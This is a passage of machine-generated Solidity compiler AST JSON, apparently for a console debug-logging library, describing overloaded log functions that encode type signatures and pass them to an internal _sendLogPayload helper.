name":"p1","nameLocation":"14112:2:15","nodeType":"VariableDeclaration","scope":25253,"src":"14107:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25236,"name":"bool","nodeType":"ElementaryTypeName","src":"14107:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25239,"mutability":"mutable","name":"p2","nameLocation":"14124:2:15","nodeType":"VariableDeclaration","scope":25253,"src":"14116:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25238,"name":"address","nodeType":"ElementaryTypeName","src":"14116:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"14088:39:15"},"returnParameters":{"id":25241,"nodeType":"ParameterList","parameters":[],"src":"14142:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25273,"nodeType":"FunctionDefinition","src":"14245:169:15","nodes":[],"body":{"id":25272,"nodeType":"Block","src":"14314:100:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c75696e7432353629","id":25265,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"14364:29:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_0d26b92533630e908cb95a1b2ed09291c6aa98f8da7094a2325f8c86cd45e5e4","typeString":"literal_string \"log(string,address,uint256)\""},"value":"log(string,address,uint256)"},{"id":25266,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25255,"src":"14395:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25267,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25257,"src":"14399:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25268,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25259,"src":"14403:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0d26b92533630e908cb95a1b2ed09291c6aa98f8da7094a2325f8c86cd45e5e4","typeString":"literal_string \"log(string,address,uint256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":25263,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"14340:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25264,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"14344:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"14340:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25269,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14340:66:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25262,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"14324:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25270,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14324:83:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25271,"nodeType":"ExpressionStatement","src":"14324:83:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"14254:3:15","parameters":{"id":25260,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25255,"mutability":"mutable","name":"p0","nameLocation":"14272:2:15","nodeType":"VariableDeclaration","scope":25273,"src":"14258:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25254,"name":"string","nodeType":"ElementaryTypeName","src":"14258:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25257,"mutability":"mutable","name":"p1","nameLocation":"14284:2:15","nodeType":"VariableDeclaration","scope":25273,"src":"14276:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25256,"name":"address","nodeType":"ElementaryTypeName","src":"14276:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25259,"mutability":"mutable","name":"p2","nameLocation":"14296:2:15","nodeType":"VariableDeclaration","scope":25273,"src":"14288:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25258,"name":"uint256","nodeType":"ElementaryTypeName","src":"14288:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"14257:42:15"},"returnParameters":{"id":25261,"nodeType":"ParameterList","parameters":[],"src":"14314:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25293,"nodeType":"FunctionDefinition","src":"14420:174:15","nodes":[],"body":{"id":25292,"nodeType":"Block","src":"14495:99:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c737472696e6729","id":25285,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"14545:28:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_e0e9ad4f87059a51cce5555e129ca819f7e5d52e9c65a4e175882207ee47d634","typeString":"literal_string \"log(string,address,string)\""},"value":"log(string,address,string)"},{"id":25286,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25275,"src":"14575:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25287,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25277,"src":"14579:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25288,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25279,"src":"14583:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e0e9ad4f87059a51cce5555e129ca819f7e5d52e9c65a4e175882207ee47d634","typeString":"literal_string \"log(string,address,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":25283,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"14521:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25284,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"14525:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"14521:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25289,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14521:65:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25282,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"14505:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25290,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14505:82:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25291,"nodeType":"ExpressionStatement","src":"14505:82:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"14429:3:15","parameters":{"id":25280,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25275,"mutability":"mutable","name":"p0","nameLocation":"14447:2:15","nodeType":"VariableDeclaration","scope":25293,"src":"14433:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25274,"name":"string","nodeType":"ElementaryTypeName","src":"14433:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25277,"mutability":"mutable","name":"p1","nameLocation":"14459:2:15","nodeType":"VariableDeclaration","scope":25293,"src":"14451:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25276,"name":"address","nodeType":"ElementaryTypeName","src":"14451:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25279,"mutability":"mutable","name":"p2","nameLocation":"14477:2:15","nodeType":"VariableDeclaration","scope":25293,"src":"14463:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25278,"name":"string","nodeType":"ElementaryTypeName","src":"14463:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"14432:48:15"},"returnParameters":{"id":25281,"nodeType":"ParameterList","parameters":[],"src":"14495:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25313,"nodeType":"FunctionDefinition","src":"14600:163:15","nodes":[],"body":{"id":25312,"nodeType":"Block","src":"14666:97:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c626f6f6c29","id":25305,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"14716:26:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_c91d5ed4480e0b3323f998bcee9594aa98173c7324b015a4713a7c8429afd0b8","typeString":"literal_string \"log(string,address,bool)\""},"value":"log(string,address,bool)"},{"id":25306,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25295,"src":"14744:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25307,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25297,"src":"14748:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25308,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25299,"src":"14752:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c91d5ed4480e0b3323f998bcee9594aa98173c7324b015a4713a7c8429afd0b8","typeString":"literal_string \"log(string,address,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":25303,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"14692:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25304,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"14696:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"14692:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25309,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14692:63:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25302,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"14676:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25310,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14676:80:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25311,"nodeType":"ExpressionStatement","src":"14676:80:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"14609:3:15","parameters":{"id":25300,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25295,"mutability":"mutable","name":"p0","nameLocation":"14627:2:15","nodeType":"VariableDeclaration","scope":25313,"src":"14613:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25294,"name":"string","nodeType":"ElementaryTypeName","src":"14613:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25297,"mutability":"mutable","name":"p1","nameLocation":"14639:2:15","nodeType":"VariableDeclaration","scope":25313,"src":"14631:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25296,"name":"address","nodeType":"ElementaryTypeName","src":"14631:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25299,"mutability":"mutable","name":"p2","nameLocation":"14648:2:15","nodeType":"VariableDeclaration","scope":25313,"src":"14643:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25298,"name":"bool","nodeType":"ElementaryTypeName","src":"14643:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"14612:39:15"},"returnParameters":{"id":25301,"nodeType":"ParameterList","parameters":[],"src":"14666:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25333,"nodeType":"FunctionDefinition","src":"14769:169:15","nodes":[],"body":{"id":25332,"nodeType":"Block","src":"14838:100:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c6164647265737329","id":25325,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"14888:29:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_fcec75e0902c9d61eded5d9f2eed16d5b0f2cd255fe6fa77733f59e1063823e8","typeString":"literal_string \"log(string,address,address)\""},"value":"log(string,address,address)"},{"id":25326,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25315,"src":"14919:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25327,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25317,"src":"14923:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25328,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25319,"src":"14927:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_fcec75e0902c9d61eded5d9f2eed16d5b0f2cd255fe6fa77733f59e1063823e8","typeString":"literal_string \"log(string,address,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":25323,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"14864:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25324,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"14868:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"14864:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25329,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14864:66:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25322,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"14848:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25330,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14848:83:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25331,"nodeType":"ExpressionStatement","src":"14848:83:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"14778:3:15","parameters":{"id":25320,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25315,"mutability":"mutable","name":"p0","nameLocation":"14796:2:15","nodeType":"VariableDeclaration","scope":25333,"src":"14782:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25314,"name":"string","nodeType":"ElementaryTypeName","src":"14782:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25317,"mutability":"mutable","name":"p1","nameLocation":"14808:2:15","nodeType":"VariableDeclaration","scope":25333,"src":"14800:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25316,"name":"address","nodeType":"ElementaryTypeName","src":"14800:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25319,"mutability":"mutable","name":"p2","nameLocation":"14820:2:15","nodeType":"VariableDeclaration","scope":25333,"src":"14812:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25318,"name":"address","nodeType":"ElementaryTypeName","src":"14812:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"14781:42:15"},"returnParameters":{"id":25321,"nodeType":"ParameterList","parameters":[],"src":"14838:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25353,"nodeType":"FunctionDefinition","src":"14944:158:15","nodes":[],"body":{"id":25352,"nodeType":"Block","src":"15004:98:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e743235362c75696e7432353629","id":25345,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"15054:27:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_371033677da72158a60d6dc6ec9fa4683ad37ad854670ba3fcf814603cf8bb28","typeString":"literal_string \"log(bool,uint256,uint256)\""},"value":"log(bool,uint256,uint256)"},{"id":25346,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25335,"src":"15083:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25347,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25337,"src":"15087:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":25348,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25339,"src":"15091:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_371033677da72158a60d6dc6ec9fa4683ad37ad854670ba3fcf814603cf8bb28","typeString":"literal_string \"log(bool,uint256,uint256)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":25343,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15030:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25344,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15034:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"15030:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25349,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15030:64:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25342,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"15014:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25350,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15014:81:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25351,"nodeType":"ExpressionStatement","src":"15014:81:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"14953:3:15","parameters":{"id":25340,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25335,"mutability":"mutable","name":"p0","nameLocation":"14962:2:15","nodeType":"VariableDeclaration","scope":25353,"src":"14957:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25334,"name":"bool","nodeType":"ElementaryTypeName","src":"14957:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25337,"mutability":"mutable","name":"p1","nameLocation":"14974:2:15","nodeType":"VariableDeclaration","scope":25353,"src":"14966:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25336,"name":"uint256","nodeType":"ElementaryTypeName","src":"14966:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":25339,"mutability":"mutable","name":"p2","nameLocation":"14986:2:15","nodeType":"VariableDeclaration","scope":25353,"src":"14978:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25338,"name":"uint256","nodeType":"ElementaryTypeName","src":"14978:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"14956:33:15"},"returnParameters":{"id":25341,"nodeType":"ParameterList","parameters":[],"src":"15004:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25373,"nodeType":"FunctionDefinition","src":"15108:163:15","nodes":[],"body":{"id":25372,"nodeType":"Block","src":"15174:97:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e743235362c737472696e6729","id":25365,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"15224:26:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_c3fc3970359ec5bcd4a409af812c658e77b7983043c9e7299db566fbd8131447","typeString":"literal_string \"log(bool,uint256,string)\""},"value":"log(bool,uint256,string)"},{"id":25366,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25355,"src":"15252:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25367,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25357,"src":"15256:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":25368,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25359,"src":"15260:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c3fc3970359ec5bcd4a409af812c658e77b7983043c9e7299db566fbd8131447","typeString":"literal_string \"log(bool,uint256,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":25363,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15200:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25364,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15204:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"15200:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25369,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15200:63:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25362,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"15184:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25370,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15184:80:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25371,"nodeType":"ExpressionStatement","src":"15184:80:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"15117:3:15","parameters":{"id":25360,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25355,"mutability":"mutable","name":"p0","nameLocation":"15126:2:15","nodeType":"VariableDeclaration","scope":25373,"src":"15121:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25354,"name":"bool","nodeType":"ElementaryTypeName","src":"15121:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25357,"mutability":"mutable","name":"p1","nameLocation":"15138:2:15","nodeType":"VariableDeclaration","scope":25373,"src":"15130:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25356,"name":"uint256","nodeType":"ElementaryTypeName","src":"15130:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":25359,"mutability":"mutable","name":"p2","nameLocation":"15156:2:15","nodeType":"VariableDeclaration","scope":25373,"src":"15142:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25358,"name":"string","nodeType":"ElementaryTypeName","src":"15142:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"15120:39:15"},"returnParameters":{"id":25361,"nodeType":"ParameterList","parameters":[],"src":"15174:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25393,"nodeType":"FunctionDefinition","src":"15277:152:15","nodes":[],"body":{"id":25392,"nodeType":"Block","src":"15334:95:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e743235362c626f6f6c29","id":25385,"isConstant":fal